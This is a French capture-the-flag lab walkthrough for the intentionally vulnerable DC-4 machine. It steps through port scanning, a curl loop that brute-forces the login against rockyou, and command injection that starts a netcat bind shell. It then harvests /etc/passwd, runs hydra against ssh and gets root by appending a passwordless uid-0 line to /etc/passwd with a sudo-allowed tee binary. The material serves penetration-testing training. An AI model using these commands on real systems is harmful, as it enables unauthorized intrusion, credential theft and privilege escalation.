DC-4 est la quatrième machine volontairement vulnérable concue par @DCAU7. C'est une machine de niveau débutant/intermédiaire qui permet de pratiquer le pentesting. Accès à la VM La VM n'est pas accessible à partir du xterm [Mon terminal]. Vous devez lancer une Kali sur votre PC et vous connecter avec un tunnel openvpn [Mon accès]. Ou bien, vous pouvez lancer une kali dans le browser [Ma Kali]. Démarrer la VM Vérifiez que la VM est lancée sur la page [VMs], et pingez l'IP à partir de la Kali.
Lancer un nmap sans option sur dc-4 Le flag est la liste des ports ouverts sous la forme: a:b
Lancer un nmap avec l'option -sV sur dc-4 Le flag est la version du serveur web sous la forme a.b.c
Aller sur: http://yoloctf.org/proxy/dc-4/ Essayer de se connecter avec admin/admin. Ouvrir les outils de développement du navigateur. Firefox : Menu à droite /Developpement web/Outils de développement, puis onglet Réseau Chrome: Menu à droite / Plus d'outils / Outils de développement, puis onglet Network Identifier le message POST, et regarder le header de la réponse. Normalement c'est un 200 OK. Regarder les sources de la page : click droit / Code source de la page Le Flag est le texte contenu entre les balises HTML 'title'.
Dans le terminal, faire
curl -v http:dc-4
-v demande à curl de nous dumper les informations suivantes:
* : commentaires
> : Header du message envoyé
< : Header de la réponse
xx: Contenu de la réponse
Le Flag est la valeur du champ 'Transfer-Encoding' du Header HTTP de la réponse.
Le code HTML de la page décrit le formulaire utilisé pour envoyer les données.
<form action="URL" method="post">
Le Flag est l'url a laquelle les données du formulaire sont envoyées.
Le code HTML de la page décrit le formulaire utilisé pour envoyer les données.
<form action="URL" method="post">
Le Flag est la méthode post ou get utilisée pour envoyer les données. post : les données sont dans le contenu du message HTML get : les données sont dans l'url
<input type="text" name="XXXXXXX" value="">
<input type="password" name="XXXXXX" value=""><p>
<input type="submit" value="Submit">
Ces trois lignes décrivent un champ de saisie de texte, un champ de saisie de mot de passe et un bouton. Elles décrivent le type, et donnent un nom aux paramètres qui seront envoyés. Le Flag est le nom du paramètre qui va contenir le Username.
<input type="text" name="XXXXXXX" value="">
<input type="password" name="XXXXXX" value=""><p>
<input type="submit" value="Submit">
Ces trois lignes décrivent un champ de saisie de texte, un champ de saisie de mot de passe et un bouton. Elles décrivent le type, et donnent un nom aux paramètres qui seront envoyés. Le Flag est le nom du paramètre qui va contenir le Password.
curl -v -X XXMETHOD -F "XXPARAM1=admin" -F "XXPARAM2=megapassword" http://dc-4/XXURL
Envoyer le formulaire avec curl. Le header de la réponse est différent de celui vu avec le navigateur. Ce n'est pas 200 OK, mais un XXX Found
< HTTP/1.1 XXX Continue
< HTTP/1.1 XXX Found
Le flag est le code qui correspond à Found.
curl -v -X XXMETHOD -F "XXPARAM1=admin" -F "XXPARAM2=megapassword" http://dc-4/XXURL
Une réponse HTTP Found permet de faire une redirection. L'entête location précise l'url vers laquelle nous sommes redirigés. Cette redirection a été suivie de façon transparente par le navigateur.
< Location: xxxxx.php
Le flag est la page vers laquelle nous sommes redirigés.
for PASSWORD in $(cat /usr/share/wordlists/rockyou.txt); do echo $PASSWORD; done
Ce script va lister les mots de passe de la liste Rockyou.
curl -s -X XXMETHOD -F "XXPARAM1=admin" -F "XXPARAM2=megapassword" http://dc-4/XXURL | wc;
On enlève -v pour ne plus afficher les entêtes, et on ajoute -s pour que la redirection vers le pipe soit silencieuse. Enfin on compte le nombre de caractères de la réponse. Ajoute le curl à la suite du echo $PASSWORD; curlxxx |wc; done. Identifie le mot de passe qui génère une réponse différente des autres... Le flag est ce mot de passe. Bien sur, on peut utiliser hydra ou burp, mais c'est si simple à la main, pourquoi faire compliqué ? On peut aussi le faire avec quelques lignes de python. Le jour ou il faut customiser un peu, on est prêt :)
Une fois loggués vous avez accés à un outil qui vous donne des infos sur le serveur. Ca sens l'injection de commande à plein nez... Regardez le code source de la page web. Le code est très propre. C'est rarement le cas.
<form method="post" action="command.php">
<strong>Run Command:</strong><br>
<input type="radio" name="XXX" value="ls -l" checked="checked">List Files<br />
<input type="radio" name="XXX" value="du -h">Disk Usage<br />
<input type="radio" name="XXX" value="df -h">Disk Free<br />
<p>
<input type="submit" name="submit" value="Run">
</form>
Le formulaire va renvoyer un paramètre qui contient une commande shell. Ouvrez les outils de développeur, lancez une commande et regardez dans l'onglet réseau comment le POST est envoyé. Le flag est le nom du paramètre contenant la comande shell.
Dans les outils ouvrez votre proxy: [Mon proxy], et regardez le détail du POST. Pour modifier le POST:
- Selectionnez le POST. Il s'affiche dans la partie droite.
- Cliquez sur l'icone [Stylo]
- Modifiez radio=df+-h&submit=Run en radio=uname+-a&submit=Run
- Les espaces sont remplacés par des +
- Validez votre modification avec l'icone [Check]
- Pressez Replay en haut à gauche.
- Dans la partie droite, regardez l'onglet [Response] Le flag est la version du kernel sous la forme a.b.c-d-686. Une recherche sur Internet permet de savoir que ce kernel a étét publié le 11 Dec 2016. C'est vieux... Nous n'allons pas le faire, mais on pourait utiliser un exploit kernel pour passer root.
Injecter un netcat en prenant un port aléatoire entre 4400 et 5000 en espérant qu'il est libre.
nc -e /bin/bash -lvp 4444
Netcat va ouvrir un shell et offrir un accès à distance. Se connecter au shell que vous venez d'ouvrir.
nc dc-4 4444
Upgradez votre nc vers un vrai shell.
python -c 'import pty; pty.spawn("/bin/bash")'
Maintenant, mettre la commande nc en arrière plan avec un control-Z, puis vous demandez à votre shell d'envoyer les codes des touches (raw) sans les convertir (la touche entrée enverra un \cM qui sera interprété par le bash distant et non pas \n qui génère un affichage exotique), et remettre nc en premier plan (foreground).
Ctrl-Z
stty raw -echo
fg
Le flag est le nom du compte sur lequel vous êtes connecté.
Une fois sur le serveur, vous prenez des infos.
uname -a
cat /etc/passwd
Le flag est la concaténation du nom de 3 comptes utilisateurs sous la forme: cxxx:jxxx:sxxx
Faire la liste de tout ce qui est lisible chez les utilisateurs.
ls -alR /root
ls -alR /home
Le flag est le nom d'un fichier qui doit vous interpeller de la forme xxx.bak. Pro-tips: Faire un cat de ce fichier...
Quitter le nc
exit
Copier les mots de passe dans votre terminal dans un fichier passwords.txt. Utiliser hydra pour les tester en ssh. Quitter le nc
hydra -l jim -P passwords.txt dc-4 ssh
Le flag est le mot de passe ssh de jim.
Se connecter en ssh avec le compte de jim.
ssh jim@dc-4
Regarder les fichiers présents dans le répertoire home de jim. Le flag est l'expéditeur du mail au format user@host
Faire une recherche des fichiers ayant un sticky bit activé.
find / -perm -4000 -exec ls -adl {} \; 2>/dev/null
Un des fichiers ayant le sticky bit, se trouve dans le répertoire de jim. Le flag est le nom du compte qui executera les commandes si on lance ce fichier. Y a-t-il un intéret pour nous ?
Le mail qui traine dans le répertoire de Jim n'est pas à sa place. Jetons un oeil dans les répertoires mail du système. Le flag est le mot de passe de Charles trouvé dans un mail
Connectons nous sur le compte de Charles. Regardons ses droits sudo. Le flag est le chemin complet du programme que Charles peut executer avec les droits root.
Nous venons de trouver un programme qui tourne en tant que root. Que fait-il ?
file xxxxx
File donne des infos sur le fichier. Text, image, binaire ,32/64 bit, avec ou sans infos ded ebug... Le type de fichier est le second champ. Le flag est le type de fichier
C'est un fichier binaire, il contient souvent du texte, des mots de passe... Extrayons toutes les chaines de caractères affichables qu'il contient.
strings xxxxx
String permet d'identifier des arguments de ligne de commande. Le flag est l'argument sous forme --xxxx qui permet d'afficher le menu d'aide.
Lancer le binaire avec l'argument pour afficher l'aide. Ce binaire est une variante du programme tee qui permet de diriger stdin sur stdout ET vers un fichier.
echo "Salut le monde" > monfichier.txt
cat monfichier.txt
echo "Yolo" | tee monfichier.txt
cat monfichier.txt
Vous notez que vous venez d'ECRASER le fichier. Le flag est l'argument sous forme -x qui permet d'ajouter une ligne à la fin d'un fichier SANS l'écraser.
Utiliser ce binaire pour ajouter un compte admin sans mot de passe personnel sur le serveur. Vous allez modifier un fichier système pour vous créer un compte root. C'est mieux de ne pas tout casser. Une erreur format peut planter le système. Effacer le fichier rend impossible de se connecter... Dans ce cas, seule solution, effacer la VM SANS la sauver et la réinstancier.
echo "XXMONCOMPTEADMINPERSO::0:0:::/bin/bash" | sudo XXBINAIRESUDO -a /etc/passwd
cat /etc/passwd
su XXMONCOMPTEADMINPERSO
Le flag est le titre du fichier flag/.txt qui trouve dans le répertoire home de root au format Wxx xxx!!!!